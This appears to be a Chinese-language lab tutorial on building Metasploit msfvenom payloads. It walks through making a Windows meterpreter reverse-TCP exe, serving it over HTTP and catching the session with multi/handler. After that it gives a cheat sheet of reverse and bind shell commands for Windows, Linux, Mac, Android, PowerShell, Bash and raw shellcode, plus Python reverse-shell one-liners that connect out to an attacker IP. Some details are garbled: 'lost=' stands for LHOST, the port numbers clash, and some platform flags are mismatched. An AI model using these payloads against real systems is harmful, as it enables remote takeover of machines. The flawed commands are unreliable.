13、msfvenom生成二进制载荷payload

攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2  192.168.11.134  x64 32位
 
1、查看命令
13、msfvenom生成二进制载荷payload_第1张图片
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 'x0f'、'x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
msfvenom -l payload     #列出所有可用的payload
msfvenom -l formats    # 列出所有的输出格式
msfvenom -l encrypt     #列出所有的加密方式
msfvenom -l encoders    #列出所有的编码器
 
2、使用命令: m sfvenom -l payload | grep windows | grep meterpreter | grep reverse_tcp  筛选windows后渗透模块的payload:
13、msfvenom生成二进制载荷payload_第2张图片
 
3、选择 windows/meterpreter/reverse_tcp模块,使用命令: msfvenom -p  windows/meterpreter/reverse_tcp  lost=192.168.11.106 lport=4445 -f exe -o /home/name.exe指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成name.exe文件
13、msfvenom生成二进制载荷payload_第3张图片
 
4、通过http协议发送exe文件,用python打开一个http服务器: 
cd /home 
python -m http.server 80008
13、msfvenom生成二进制载荷payload_第4张图片
 
5、靶机134上,web访问 http://192.168.11.106:14472,下载name.exe文件
13、msfvenom生成二进制载荷payload_第5张图片
 
6、使用命令  use exploit/multi/handler 配置监听模块:
set payload windows/meterpreter/reverse_tcp  此处的payload一定要和上方生成的payload的是同一个模块
set lhost 192.168.11.106   #  设置监听的ip
set lport 4445   #  设置监听端口
run
靶机上执行exe程序后才会进入meterpreter会话:
13、msfvenom生成二进制载荷payload_第6张图片
  
各平台payload生成:
windows:windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f exe > shell.exe
   
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
 
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
 
Android:
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 R > test.apk
 
Powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
 
Netcat:
nc正向连接:msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.11.106 LPORT=3333  -f exe> 1.exe
nc反向连接、监听:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333  -f exe> 1.exe
 
shellcode:
基于Linux的Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Windows -f c
基于windows的Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Linux -f c
基于Mac的Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform osx -f c
 
Python反弹shell:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.11.106 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f raw > shell.py
 
Python正向shell:
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.106",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(("192.168.11.106",3333))nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
 
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.11.106 LPORT=3333 -f raw > shell.sh
  
参考:

6-1 Binary Payload 二进制载荷_ev_哔哩哔哩_bilibili

远控免杀专题文章(2)-msfvenom隐藏的参数 - SecPulse.COM | 安全脉搏

你可能感兴趣的:(安全,metasploit,msfvenom)